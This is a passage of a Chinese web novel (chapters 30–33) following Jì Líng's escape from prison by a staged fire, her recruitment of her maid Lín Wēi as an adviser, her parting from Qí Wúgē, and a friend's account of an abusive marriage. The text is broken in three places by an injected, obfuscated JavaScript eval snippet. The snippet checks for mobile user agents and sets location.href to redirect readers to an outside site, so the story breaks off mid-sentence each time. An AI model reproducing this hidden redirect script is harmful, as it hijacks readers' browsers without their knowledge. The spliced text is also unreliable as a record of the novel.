徐行皱着眉。季泠想求死?这不像她的作风。 “近日,我们牢狱内一应吃住条件都有了改善,想来您也不是只看在我们的交情上才给的优待。之后,您应该会上疏奏请,完善刑部大牢的管理,给予所有囚犯一个体面人道的生存之地。” 季泠的眼明心亮,他早就领教过了。 徐行没有点头,但他已经默认了。 季泠继续开口:“既然如此,更换装潢、上下忙碌的时候,总是有不周到的地方。比如,突然失了火,烧到了几件牢房。” 徐行眉间有了些微的起伏,死死地盯住季泠。 她的五官隐匿于黑暗之中,徐行只能看见她的嘴一张一合,以及她早已变得利落的下颌。 真是他的好学生。 徐行蹲了太久,站起来时腿有些麻了,差点一个踉跄,季泠见了立刻站起来扶了他一下。 徐行惊讶,低头看向她,季泠居然已经这么高了。 在建州之时,还只刚刚到他胸前。现在,已经要高过他的下巴。 时间真是神奇,竟然叫人从里到外都全然变样了。 他收回了手,想着季泠的话,离开了牢房。 季泠预料的没错,第二日,徐行就在朝会中进言改良刑部牢狱管理。 “臣见刑部牢狱,气浊阴湿,如若天气炎热,甚至滋生虫蚁,疫病横行。许多尚未定罪的囚犯衣不蔽体,监舍之内环境恶劣。甚至身染重病,医药难求。除此之外,狱吏索贿、虐待囚犯等顽疾腐事数不胜数。坊间有言,天下囹圄,十之五六,皆如鬼域。臣以为,囚犯亦民,若非十恶不赦之重罪,理应慎刑优容,教化感怀。如以一来,陛下仁心圣德,百姓恩戴。” 皇帝觉得所言有理。开国至今,许多不安分的、功高震主的,该杀该贬的都已经处理干净。从刑狱之处入手,施行仁政,对他的名声也算有利。 “准了,此事交由徐卿全权负责,务必要做到冬给暖床,夏备凉席,勿使囚徒中暑冻馁。若有狱吏虐待囚犯、私下受贿,严惩不贷。此外,相关律例也许久未曾需改,本朝也应与时偕行,就一并交由徐卿吧。” 刑部大牢上下近日忙得不可开交。 在江阔的步步紧逼之下,徐行带人到查封的挽梨楼,将那出戏的几个戏子、乐人、排练的管事、写戏本子的书生全部下狱。 据他们所言,此事实在是他们无意为之,只是近日挽梨楼生意不佳,需要一出新戏来吸引新客。 他们一介小民,不通朝堂之事,也不知道钱大人之子做了什么,只觉得这样写来能吸引一些看客、引起一些风波,为挽梨楼带来不错的收益,才如此做了。 据相关涉事之人以及已经获取的证据来看,之前抓的那五人,虽然不是一年前撰写《女界》、散播流言的那几个人,但确实多少掺和进了此事,根据徐行判决,已经一并论罪了。 此案就这样圆满结束。 皇上刚下令改革刑狱,刑部不能做得太狠,也就依法正常处置了。 江阔坐在公案桌前,看着徐行的结案文书,想要挑些什么漏洞出来。可是无论怎么看,这份文书都是缜密无误,详尽得体,条条章章,有例可循,甚至字迹都是端正有力。 江阔一摔,青袍都起了褶皱。 旋即冷静下来,摸摸下巴,酝酿着什么。 30. 一场大火 只是,风波虽平,钱大人可未必愿意见到此事就这样浅浅带过。 “江阔,本官记得,你说过,会处理的很好,绝对不给世人留下什么把柄。这就是你的结果吗?” 挽梨楼中,坐在上位的钱莘十分不悦,锐利的眼神似乎要将江阔的衣裳烧出几个洞来。 江阔立刻跪下请罪:“钱大人,下官也未曾预料事情就如此带过...是徐行!他抢先将改革刑狱之事上奏,让下官猝不及防,司狱司内的人全被他拔了出去,这才难以再下手...” 钱莘震怒,将桌上放着的一套紫砂壶茶具全部扫落,砸到了江阔面前:“这样的小事你都做不好,还推诿到徐行身上!你别当我不知道,此事你全部推给了徐行去做,偏偏又在他的眼下搞了小动作。事后你的人死了,还去他面前出言威胁。你若没本事,就不要自作聪明,坏了本官的好事。” 江阔应声,低下了头。 烛光照在他的脊背上,绯色的罗袍泛着不易察觉的光,他出神地盯着散点花卉地衣,内心已经给徐行记上一笔。 挽梨楼风波已过,判决下达,定十日后,相关之人杖责五十,徙一年。 徐行开始着手忙于修订刑律一事,在改善大狱上,他提拔了一批新人,其中就包括已经升任掌固的赵六,以保证他的改良能够畅通无阻地推进。 览风疾步闯了进来,面色凝重。 “少爷,刑部大狱起火了。” 徐行像是早有预料一般,站起来走向衙门外,准备出发去刑部大狱。 “烧的是哪几间牢狱?可有伤亡?当值之人是谁?可有及时采取补救之法?” 览风急急地跟着,回话却没有因为步伐加快而变慢。 “从大狱西边烧起来的,就是靠近关押挽梨楼几人的那几间牢房,目前伤亡未知,火势虽然蔓延不快,但不知为何,起火到现在已经过了一个多时辰了,收到消息时还未扑灭。今日负责的领头姓林,是江大人先前提拔上来的,已经叫了五城兵马司的人前来协助了。” 徐行赶到刑部大牢之时,火势已经被控制住了。 他站在火前,看着熊熊烈焰,叹了一口气,先前才改善的几间牢房这下全化为灰烬,之后只能从头建造修缮了,又要耽误不少事情。 五城兵马司和狱卒来来往往,着急忙慌,总算随着最后一桶水的泼出去,止住了这场无妄之灾。 徐行踩过一片狼籍,和着脏水的灰土将他的皂靴和圆领袍下摆染脏了。 他瞥了一眼后仍然前行,看见了那几间牢房已然焦土一片,沦为废墟。 “徐大人…” 慌张的狱吏们终于看见上官前来,像是看见了主心骨,又像是看见刽子手,脸上先是闪过对救赎的渴盼,随后迅速被恐惧取而代之。 徐行平静地安抚了下属,暂且不论他们的失职之罪,只要他们先仔细救治伤者,清点死亡人数,并统计出名单,后续的修缮工程就交给览风吩咐下去进行,由赵六辅助。 狱吏们都感谢徐大人的仁心,也在背后纷纷赞叹徐大人临危不乱,迅速安排好处理灾后事宜的果断。 忙乱到晚上,初步的伤亡人员名单已经出来了。 抱月走进行简斋中,将五城兵马司调查的结果交给徐行:“少爷,季姑娘与她同行的四人,还有那数十个挽梨楼的戏子乐人,都已经葬身火海了。” 徐行展开名单,数十个名字赫然在列,孟泠的名字在这数十个名字中,已经不是那么显眼了。 徐行看着名单,回忆起那日季泠的话,清泠泠的声音在他的耳边响起,胆大又冷静:“…先生,比如,突然失了火,烧到了几件牢房…” 虽然他已经有了些准备,但是看到这个名字出现在逝者名录上,他心里还是抽动一下,感觉莫名慌乱又喘不过气。 “这些人在的牢房之中,是否有什么线索?火是怎么烧起来的?” “在过道上发现了一些灯油和硝石,但这些本来就是库房里就备有的东西,除了保管不当,也没有别的由头了。” “既然如此,以渎职之罪处置了今日领事的林氏吧。之后叫他们再留意一下,有好的再顶上。” 览风点头。现在少爷要彻底颠覆大狱,就必须要将别人的眼睛耳朵都清扫出去,做起事来才能事半功倍。 “等等,你前面说,是五城兵马司的人给的名录?” “是,火大起来的时候,兵马司的人正好在附近巡城,见是刑部大牢,立刻就前来帮忙救火了。” 真有这么巧?五城兵马司… 看来,季泠背后之人手眼通天了。 一些事情就像这场大火一样藏不住,烧痛了京城一些人的眼睛。 虽然暂时泼灭,但过去的残垣断壁已成事实,只是有的人永远只着眼未来,不顾当下。 钱莘与江阔得知刑部大火烧死了所有挽梨楼涉案之人时,神色可谓是千变万化,仿若戏子。 钱莘仰起胸膛,甩了甩大袖,背着手向前走:“这场大火来的可真是时候啊…” 江阔也扯出笑迎合着:“是啊…真是一场天降之火。” 还是徐行搞出的无妄之灾呢? 徐行啊徐行,还是小看他了,原以为是不乐意替钱大人做事,想要明哲保身。 现在看来,原来是野心勃勃,想要越过他去,一步登天啊。 季泠五人到达挽梨楼不远处的一处小屋时,天已经快亮了。 起早的摊贩已经准备好开张,没有任何事情可以阻挡百姓们家长里短后的务事谋生,四处传出了一些烟火气。 狼狈地推开房门,几人立刻坐下,一瞬间全部失去力气,瘫倒在圆桌上。 季泠已经完完全全得疲惫不堪,她不可不谓殚精竭力。 从被刘掌固提去受刑那一日起,她就再也没见过四人,一直被徐行安排在远离她们的牢房中,想要使计和她们获得交流。 可是第二日徐行上表改革刑狱后,上下雷厉风行,严正以待,身边的狱卒全部换了一批眼生的,她就再也没有办法了。 不仅如此,她还要仔细身上的伤。 笞刑十余下,对于见惯刑部各项酷刑的官吏来看似乎不足挂碍,可是对于从来没有受过这么重伤的季泠来说,真的要了她半条命。 季泠在受刑第一日,和徐行周旋、大夫看伤之后,痛得难以入睡,甚至无法翻身,只是一瞬的呼吸,都让她汗如雨下。 甚至最后,汗水从额角与眉上毫无阻碍地流进眼睛里,她都没力气伸出手擦拭,任由咸涩的汗水灼烧着眼睛,最后和泪水融为一体,才算罢休。 背上的伤口在炎热夏季的热气蒸蒸下,与她的心跳齐力,在她的太阳穴处尽情地狂跳。 她的神智将要脱离躯体,站在她的胸膛之上,鼓起、紧缩,再鼓起、再紧缩... 反复又反复。 在她将要陷入无意识的浅眠时,她却忽然一震。 她的神智彻底不受控制地逃离她了,去天上地下求了各路神仙,一遍又一遍地叩拜。 她真想拉回那不听话的孩子,可伸出的手又迟疑了。 她寄希望于无可能的成功。 无声的牢狱、煎熬的伤痛、孤立无援的境况、同盟的生死,一切压得她喘不过气来。 四下的安静如同缠人的鬼魅,将她惊恐无限放大。 牢房内,只有过道的烛火影影绰绰地晃动,她处在一个不见天日的地方,只能挣扎着睁开眼睛,将当下与过去的无助和彷徨撕成一条又一条,独自品味着。 季泠盯着冰冷又毫无缝隙的石墙,恨不得用手掰开它、穿透它,去看看天空,哪怕只是躺在地上,什么也不做,只看看天空就好,看看日升月落,让她感知到时间在自己身上是如何流逝的。 她头一次明白自由的珍贵。 直到狱卒换班,她知道,天亮了。 那一夜,季泠想了很多。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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直到大夫又来,将她叫醒,嘱咐她伤口的禁忌,又交给她伤药之后,她才猛然醒悟,觉得自己昨日的想法实在是太过愚蠢。 她季泠还不及二十,将将是个有着大好年华、只待大展宏图的女子,怎么可以因为一时的低迷就郁郁不振,甚至想到以死明志呢? 新的一天,季泠艰难地坐起身,透过碗中的清水,模糊地端详着自己憔悴的模样。 她看着自己的眼睛,忽而涌动一股力量,击碎昨夜毫无意义的忖念。 在狱卒来回踱步声中,在四周监牢都被沉沉死气笼罩时,在丧失对时间的把控下,季泠耐心地养伤,逐渐振作精神,养精蓄锐,寻求生路。 徐行的再次造访在她的预料之内。 只可惜,对于这个先生,她无法知无不言。 虽然她预感徐行不会要她性命,但其他人呢?公主的谋划呢? 她现在并非孤军作战,赌不起青年高官的恻隐之心。 果然,徐行也不会对她手下留情。在得不到自己想要的答案之后,就拿其他人的命相要挟。 只是,徐行在她面前也放松了警惕,她有了可乘之机。 一个得天独厚的日子,天干物燥,气蒸万物。 借了一场大火与五城兵马司之手,她也算替徐行结束了这个无中生有的案子,还替他顺理成地解决了一个碍事的领事。 徐先生聪明不已,想必也会记得她的恩情吧。 季泠心情大好。 这场惊心动魄的劫难结束了,季泠却突然体会到了前所未有的激动与兴奋,似乎人生本该这样精彩又惊险地活着,才算不枉费这区区几十年的光阴。 这几日,她孤身在天上、地下、人间圈游了好几遭,体悟、感受、骤得的,要比先前十几年在书里慢慢啃食别人经验要快得多。 这股滞后的激动一直不停地撞击着她的胸腔、喉咙和耳膜,让她想起幼时在宁川的夏天,常常会有飓风侵袭海岸,将浪卷起数十米高,打向在这片海域弥历多代的居民。 风来浪起,万物悲鸣之时,季泠捂着耳朵,看向残忍的上天。 她的状态也像现在这样,攘袂切齿,放纵血液奔腾地从心脏涌出,涌向她渴求又触不可及的每一个方向。 31. 劫后余生 屋内,疲惫的众人在死里逃生之后,再也无法支撑精神,趴在桌上后来不及交换慌张,就沉沉睡去。 季泠蹑手蹑脚地走出屋内,用力地将清晨最新鲜的空气吸入肺腑,感受自己重新夺得的生机。 陈旧的房门又被推开一下,传来吱吱呀呀的声音,季泠转身看去,林微走了出来。 “姑娘。” 林微走到她面前,喊出了等待一年的呼唤。 季泠拉过她的手,也难以掩饰重逢的喜悦,“林微!抱歉,一年前我走的突然,将你一个人留在齐家,也没能帮你仔细安排…是我不好,将你贸然卷入这场风波,如果不是我,你本可以不用进入古良学社的。” 林微制止住她的话:“姑娘,您带我走的是一条好路,我从未感觉自己有如此大的作用。我该深谢您才是。” 她在这一年,日日夜夜地担心季泠,就怕她有什么意外,在得知此次社论能够见到季泠,她忙不迭地就和钟荡云告了假,奔向了挽梨楼。 之后的一切她确实没料到,但她什么灾祸没有受过呢? 季泠还是那副性子,被捕之后仍然不露惧色,毫不犹豫地挡灾她们身前,承担下一切。 只是季泠被刘掌固带走时,她彻底慌乱了,之前季泠消失一年,她知道季泠是奔向了好前程,倒也算开心。 只是如今,季泠却因为她们几人安排不得当而落入敌手,还要承受刑罚,又怎么能让她不揪心呢? 后面几日,她们四人抱团取暖,虽然狱吏将她们的监牢衣食都改善照顾了,但季泠的生死她们却毫不知情。 “最重要的是,您没事。” 林微死死地拉住季泠的手,终于说出来几日的胆战心惊与翘首以盼。 天快要大亮了,季泠看向出巢的鸟儿,不得不拂下林微的手:“林微,我要走了。” 林微料到了,尽力地压制自己对离别的痛恨,只问一句:“我还能在见到您吗?” 季泠犹豫了一下,点了点头。 “等我安定,等我再爬的高一些,我将你接出来。” 趁着三人还未醒来,季泠匆匆离开小屋。 又是吱呀一声,门上积攒的灰尘又落了一些下来,屋内又暂时恢复了平静。 三段绵长的呼吸和一段轻声的啜泣,完美地被街上陆续的车马之声掩盖住了。 季泠回到了东三所,天已经大亮。 “执庸?你竟然这么快就成功回来了?” 公主见到前来复命的季泠,不可谓不惊讶。 那日她刚让越兼派季泠回学社中活动,没多久就收到了挽梨楼被查封的消息。 虽然刑部名义上是捉拿乱党,但朝中知道点风声的,都明白实际上就是钱莘借刑部压下长子之案。 季泠居然这么顺利逃脱了。 她连日来没有休息,本该是疲惫不堪的。 但此次是她入公主府来,第一次替公主办事,首战告捷,季泠实在是难以掩饰自己的兴奋与满足。 公主自然是一眼就看出来了,季泠此次的表现叫她意外。这样险象环生的局面,季泠却赢得漂亮。 既叫刑部和钱莘圆了此事,又借这场戏和当日刑部封锁的风头引得更大的议论。 公主见季泠虽然看起来神采奕奕,但实际上强吊起来的眉头和咧开的嘴角无一不是费了几分力气在维持。 “你做得很好,累日辛劳,你现在需要先回去休息。” 季泠本还想说什么,可公主这样说,她只好告退。 转过身后,公主才看见她衣裳后面的伤痕。季泠连衣服都没来得及换,就来找她了。 “你受伤了?” 季泠闻言转身,看见公主走向她,正想行礼回话,就被公主扶住,让她背过去。 季泠感受到公主的目光注视着自己的后背,语调装作轻松:“殿下,不妨事。进了大牢,不受点私刑是不可能的。好在徐郎中赶得及时,将他们制止了。” “徐行?”季泠点点头。 公主倒是知道徐行近日上表改良牢狱管制,看来季泠也算是借了天运,恰巧撞上了。否则就刑部大牢那样的环境,若是受了刑,哪里还能全须全尾地走出来。 “公主,执庸有一事相求...” 季泠的话打断了公主的思路。 “什么?” “我想,将我曾在齐府的侍女林微,带进来。” 饶是季泠再优秀,她也没有资格跟公主谈条件,更何况如今她只是第一次为公主办了事,就如此大胆地讨要恩赏,越兼不得不出言提醒她的越矩。 公主却反问:“林微?就是那个随你一同参加学社的姑娘?” 季泠没想到公主居然会知道她身边的侍女,点了点头。 “若是她进来了,你要她继续做你的侍女?” “不是,殿下,若您能够给她一个机会,我希望她也能做您的幕僚,为您效力。” 季泠转过身,不顾背上的伤痛,俯身行礼,以表恳切。 “她不过是齐府最普通的一个侍女,如何能做我的幕僚?” 季泠努力地想让公主知道林微的长处:“林微不是普通的侍女,读书识字、马术射箭,她都擅长。古良学社之中,我们的筹谋,她也献力不少。且她沉着内敛,遇事不扬,若要辅助公主成事,这何尝不是一位幕僚最大的优点?” 季泠确实很认可林微,虽然林微并非聪慧,不能为她或是公主进言献策,但是就是因为她的性子,使得她能够成为一个极佳的副手。 “执庸,你在举荐她之前,是否想过,既然她如此卓越,为何只会是一个侍女?你就不对她的身份有所怀疑吗?” 季泠早就想过这点,可她坚信日久见人心,林微的伤疤,她不想揭开。 “殿下,用人不疑。” 公主看着季泠,一次牢狱之灾也不可能改变她执拗的的性子,这不就是她当初选季泠的原因吗? “准了。只是,本宫希望,你重情重义的性子,将来不要成为反噬你的暗箭。这个世界上,可以彻底托付信任、永不背叛的,唯有自己。” 季泠应声,公主也不再多言。 良言千石,不如亲历一回。 只有让季泠彻底过一次亏,才能将教训刻骨铭心。 得了公主的许可,季泠找了一个空闲的日子,乔装一番,回到了齐府。 时隔一年回来,季泠觉得钟鼓园似乎变得不太一样了,园子里种上了一些花草,若说曾经是敞阔的热闹,如今却是热烈的寂静。 “荡云?” 季泠站在园子中,有些不敢走近,她怕钟荡云怪她。 她在齐府一年,没有给钟荡云带来过什么好事,之后不打招呼就跑走了。 现在回来,居然还是要带走她的贴身侍女,季泠觉得自己真是个没有良心的人,一点也不值得钟荡云对她那么好。 林微从屋中走了出来,恍惚半天才敢相信自己的眼睛:“姑娘?您回来了?” 虽然前几日才跟季泠见过面,但是她以为,此次分别又要像上次一样,至少也该时隔一年再见。 “荡云呢?” “表小姐今日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446293|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有事出城去了,说是要去接人,二少爷和三少爷也去了。” 难怪今日她觉得齐府冷清得很。 季泠走进东厢房内,她不在的一年,钟荡云没有找人来将她的东西清走,仿佛她只是出去游玩一遭,迟早会再回来的。 林微也是常常清扫,竟然一点灰尘也没有,让人以为季泠从来就没有离开过。 季泠拉着林微在堂中坐下,“林微,你可愿意随我出府?” “我自是愿意的!只是,姑娘,您不是说,要等您安稳些,再爬得高些,再来带我出去吗?” 季泠笑了,她确实应该深思熟虑,再去同公主提出要求。 只是也许在公主府里,她总觉得缺了些什么,虽然现在熟悉了同院中的三四个姑娘,但她还是觉得不对。 也许是因为,她缺少了跟过往的连接,可是她又不舍得全部放弃。 季泠拿出了一张文书,放在林微的手中:“有你一句愿意,别的都能解决。只是之后,你若要跟随我,日子远远没有在齐府安生太平了。上次的牢狱之灾就是最好的例子.之后,我们怕就是刀尖舔血,命悬于丝了。” 林微打开,竟然是她的卖身契,她瞪大眼睛看着季泠,不理解季泠的意图。 “我向荡云要走你的时候,她就将你的卖身契给了我。我原想着,你是齐家的人,我是没资格拿着的,就先收起来了。只是现在,若是你愿意随我走,你就不能再是齐家的侍女了。自然,你也不再是我的侍女。” 林微明白了,季泠要帮她脱了贱籍,让她彻底成为季泠的左膀右臂。 “你随我走后,进了府中,你就不再是侍女,而是和我地位一样的幕僚。这是我替你求得的机会。” “可是姑娘,我没有这样大的本事...” 季泠制止住她,“林微,我知道你不是一个普通的女子,你心中也有自己执着不改的念头。所以你要努力,和我一样努力,去改变我们的命运,做我们真正想做的事情。” 林微看着季泠真诚的眼神,她知道季泠一定为此付出不少,她点了点头,将自己的命运交到季泠手中。 随她的姑娘去吧,她的姑娘这么聪慧,总不会害了她的。 季泠和林微收拾好东西,她将之前未能带走的物什也放进箱笼中。 这一次,没人再替她保管了。 从此之后,齐府再也没有她的痕迹。 其实早该这样的,她不应该将莫须有的过往放在齐府,这样容易将自己和齐府都置于危险境地。 季泠站在东厢房前,将里头的陈设装潢、她睡过的床、坐过的桌椅都一一看了一遍。 也许这一年半不过是她几十年中的一粒尘沙,但她还是想竭力将此记住,永远不要忘记。 季泠抬头,忍住不让泪水涌出,最后缓缓地关上了门。 正当她转身,准备走出钟鼓园时,钟荡云回来了:“泠儿?” 她大步向季泠跑来,看见了她和林微的行囊,不可置信:“你,要彻底走了?” 季泠不舍,但只能点点头。 “林微也是吗?” “表小姐...” 钟荡云眼眶已然变红了:“这样也好,这样你的身边也有人照料了...只是,兴许你还应该再跟一个人告别。” “谁?” 季泠顺着钟荡云的视线看过去,就看见一个熟悉的脸、熟悉的身影。 还有熟悉的声音,随着夏日的风吹到她头顶的那些树叶上,发出躁动。 “泠儿。” 是齐无戈,他回来了。 32. 困顿于昔 在分别的两年中,六百多个日夜里,季泠无数次地想起这个人,这张脸。 甚至当她看见山头盛开的杜鹃,或是头顶照耀的旭日,都会想起他额间那颗的美人痣。 在她确定自己的心意之后,那份喜欢似乎空前高涨,浓烈的让她自己都吓一跳,甚至有时候失了分寸,做了一些蠢事出来。 她曾看到与之相关的一草一木,就不可避免地想起他,想起他们那段同窗的无忧时光。 甚至是当时钟荡云告诉她,齐无戈的逃避,她狠下心让自己忘记齐无戈。 可是每当想起这个念头,她就明白自己输了。她再一次不可救药地被不该有的记忆侵袭。 季泠深吸一口气,随着齐无戈走到景亭之中。 两年过去了,齐无戈成熟了几分,威海的风吹得他清醒不少,也勇敢不少。 “你要走了?” 季泠抬头看向他,齐无戈日夜兼程赶回来,脸上冒出一些胡渣。 好像什么都变了,他变了,自己也变了,他们再也不是从前无拘无束的年纪了。 “嗯...你怎么回来了?” “我受恩晋为参将了。此次命回京述职。” 季泠点了点头,两人相顾无言。 她不知道该说些什么,她现在只觉得心里很乱。 见到齐无戈,她以为自己会很激动,很欣喜,或是很难过,但都没有。 可她又并非毫无感觉,内心之中不是一潭死水,只是究竟是什么呢? 她没想明白。 踌躇了片刻,她还是决定把话说得明白些:“你首战获胜之后,荡云就将你的话告诉我了。” 季泠这句话,让齐无戈震了一下,他早就后悔了,现在看来,季泠是怨他的。 “我是个没勇气的人...不敢正视我的无用。我只是希望,我能靠自己建功立业,不必倚仗父母家族的功勋。这样,我才有能力让你站在我身边,不用再像冠礼那日一样,让你一人藏在后院之中...泠儿,你能不能原谅我之前的退缩...你心里还是有我的吧?” 季泠觉得齐无戈这话莫名其妙的,奔赴威海、守护海防,本就是他的职责,为什么要和自己扯上关系呢? 罢了,这些事情再纠结也是徒劳,反正她和齐无戈绝不可能有未来。与其空留希望,不如一口气将她的心思说得彻底些。 “齐大哥,我不问你家国社稷和我孰轻孰重,因为我自己也不会为了儿女私情而本末倒置。但是当你用这个作理由时,你自己心中已经有了抉择,再来问我,又是为了什么呢?是为了安慰自己的退缩,还是证明自己的高尚与世俗的无情。” 季泠不想和齐无戈说太久的话,她现在需要自己冷静一下,否则她藏匿不住自己的咄咄逼人。 齐无戈见到季泠转身就走的背影,立刻慌了,季泠这话明显是误解他了。 “我从没有想过在你和我的前途中二者择一...” 他伸出手想抓住季泠,刚碰到季泠的肩胛时,季泠就闷叫一声:“啊...” 她的伤口被齐无戈碰到了,痛得她刹住远去的脚步,侧身踉跄了一下。 齐无戈显然没有料到,被炭火烫到一样,吓得缩回了手:“怎么了?你受伤了?” 他看着季泠紧皱的眉头,表情因为疼痛而失去控制。 “荡云跟我说,你一年前离开齐府,去投奔了一个大人,替他效命。这就是你去效命的结果吗?你究竟都在做什么?才一年,你就受了伤?” 齐无戈太过焦心,语气也冲了起来。 “这是我自愿选择的。你不必多问。” 季泠甩开他的手,想要离开了。 她不想对齐无戈冷脸相待,可是她控制不住自己,现在说出来的所有话都像带了刺,她越说,只会伤害两人越深。 可齐无戈却不想放她走:“我以为,我此次回来,有了战功,就可以顺理成章地和你站在一起...如今我不是一个空头的世子了,我有能力护佑你。泠儿,我希望我能成为你的退路...你可以不用这么累,你想要的一切,我帮你去争就好。” 可齐无戈这句话明显戳中了季泠的逆鳞,她厉声回应:“齐无戈,任何人都不会是我的退路。太阳东升,弦月西沉,北雁南迁,大千变化,而人心毫无规律可循。你苦苦想要得到的东西,其实只是因为特别。若是蜡梅春夏盛开,昙花永不凋零,你还会钟情吗?” 季泠觉得齐无戈将事情想的太过简单,他喜欢上自己,就是因为她的与众不同,若是让她成为终身依靠他的后宅夫人,他还会一如往昔地爱着她吗? 季泠擦过他的肩走了,复又停下,没有转头,看向景亭远处,穿过月洞门,外面才是她的天地。 “无戈,太阳快要落山了。” 齐无戈看着她的背影,夕阳的余晖笼罩在季泠身上,快将她羽化成仙了。 “我们都该下山了。” 齐无戈一震,终于落寞地垂了手。 南境山中的那支杜鹃花,在这样颠簸又不知终点的旅途中,被丢下了。 季泠轻轻地叹了一口气。 “这是险途,我虽累,但乐在其中。”说完便大步走了。 齐无戈愣在原地。 他原以为回来之后,季泠会因为他功成名就而欢欣。 他想听到她的祝贺,她的赞扬。 他走向钟鼓园,站在沉沉暮霭之中,看着季泠和钟荡云依依惜别,就带着林微毫不犹豫地离开了。 他想追上去,可是双脚却怎么也迈不开。 余光里,钟荡云走过来,他的眼睛却注视着月洞门,季泠的身影从那里消失了,也许,再也不会在齐府出现了。 “荡云...怎么会这样...我们不是两情相悦吗?我已经在为我们的未来努力了...” 钟荡云才经历了与挚友的离别,又不得不安慰才刚回到家的大哥:“大哥,你走慢了一步...不是只有你在努力,泠儿总是先人一步。你和两年前不一样了,她也是。” 齐无戈争的,兴许是季泠想要的吧。 可那已经是两年的事情了,现在的季泠,有了新的需求。 人散后,一钩淡月天如水。 那条青灰色的竹节小蛇,永远留在了景亭的欢声嬉笑之中。 钟鼓园的两架秋千,再也坐不满人。 晚上,季泠在床上辗转反侧,一股闷气憋在她胸口,让她堵得慌。 古人常说,离恨恰如春草,更行更远还生。 之前季泠觉得何尝只是离恨,思愁也是如此。似乎分离的时间增加一日,距离遥远一厘,她的情意就浓烈一点,化成一颗种子,最后长出一片茂林,让她在里面迷了路。 可真正看到他的那一瞬间,所有的幻想和情思都突然灰飞烟灭了,原来那一片茂林竟然只是海市蜃楼的幻影。 这就是喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“姐姐不必客气。我一向如此,最讨压这些道貌岸然的男人,将自己未能满足的欲望全部发泄在弱者身上,却又要在道义上制高指责,实在是令人厌恶。况且,你早已谢过我了。” 楼饮晴不欲在感谢客气的来往中浪费时间,直接洞察了季泠的不对劲:“可是季妹妹,你今日的愁绪,似乎就是因为男人。” 季泠像被抽了一巴掌,立刻转头,看着楼饮晴,张了张嘴,又不知道该说什么,该辩解吗,还是该承认呢。 楼饮晴坦然地笑笑:“不必瞒我,我见过的男人比你见过的花草都多,你这副愁云笼罩、大难临头的模样,我一看便知。” 季泠意外她的坦白,却也不妄加评判。 “今日老天赏恩,月亮都不出来窃听,我不妨就将我的过往都一吐而尽。” “饮晴,我不需要借助别人的苦痛慰藉我自己的苦痛。” 她怕楼饮晴说出来后,日后后悔。 伤疤就算再如何释怀,也仍然是伤疤,除非换了一身皮,否则痛意势必随人带入坟墓之中。 “不用担心,我将这些话闷在心里好久了,说出来,是让我自己放下...你可愿意当一回听客?” 季泠点点头。 33. 负心薄幸 楼饮晴继续说下去:“如你所见,我是东三所的姑娘中最年长的,或者说,我早已不是姑娘了。那些臭男人说的有一点倒是对的,我早已不是清白之身。” “在同你们一样的年纪,或许还要再小些吧,经由父母相看,我与一位秀才定了亲。成亲之前,因为有了一纸婚约,我家中又是从商,素来对女儿管教不严,我就得了机会,常常与他相会。” “那时候他很体贴,每回见面,都会为我采一捧花来,替我剥好我爱吃的核桃,想好游玩之处,做好一切准备,我只需要跟着他,享受这样花好月圆即可。那时候我的父亲常常外出行商,有时候几个月都不回来,家中商铺一应事务就落在了我的身上。我就少陪他出去了。” “但他也不计较,只说来日方长,他也正好用功读书,赶紧考上举人,谋一个官职,以立家业。我以为这样的日子是一辈子的,直到我们成亲后的,不过一年,他就变了。” “我仍然替我父亲打点经营着家中产业,却发现家中银钱越来越少,我察觉不对劲,问了他,他也不说,只说科举不是易事,笔墨纸砚、同窗往来、上下疏通都是需要费银子的。” “我家中本来就不缺这点,就由着他去了,我也期盼着,他能少了银钱的后顾之忧,专心地考个举人,甚至是进士呢,总归我们家就不再是别人看不起的商贾之户了。” “行商坐贾之人,消息最是灵通,不过几月,我就听说,他在外头养了女人。我压下怒气,偷偷跟了去,发现那女人连孩子都有了,我却浑然不觉,还在傻傻地盼着我的好日子。” “他回来后,我就质问他,未曾料到,他秋闱落榜,失意酗酒,回来听了我的诘问,当场就打了我,还将青铜烛台向我掷来,我的血瞬间染湿了我的头发...他这才惊吓酒醒,立刻替我去找大夫。” “我父亲知道了,发了大怒,立刻就带了我的叔伯一块儿上门,来将我带回去了。他就跪在我家门前,日日磕头,说自己酒后失德,不慎误伤。这样一出好戏,将自己撇了个干净,却叫众人对我指指点点。” “可我以为他真心改过,就劝服了父亲,同他回去了,他似乎又恢复到之前那样的体贴,甚至对我越来越好,有时候还替我捏肩捶腿,泡茶洗脚。” 楼饮晴停了一下,季泠揽着她,让她靠在自己的肩上。 “正当我感叹他改过自新时,他将那个女人和孩子带回来了,我才发现,那个孩子的岁数对不上。原来早在我们相识之初,他就与那个女子好上了。我恨透了那女子,将我对他的恨全部转移到她身上,我觉得全然是因为她,我原本和顺的家就这样一去不复返了。” “于是我开始处处针对她,她却是个逆来顺受的,从不反抗。后来我觉得没意思了,也就收手了。最主要的是,我发现,他其实也并不爱那个女子,他当时不仅欺骗了我,还欺骗了她。” “那女子的父亲是一个老秀才,结实不少乡绅,他用酒灌醉了那个姑娘,才让那个姑娘一朝有了孩子。她的父亲觉得丢人现眼,气得与她断绝关系,他的如意算盘落空了,就将怒气发在她的身上,险些将怀孕的她打得落胎。” 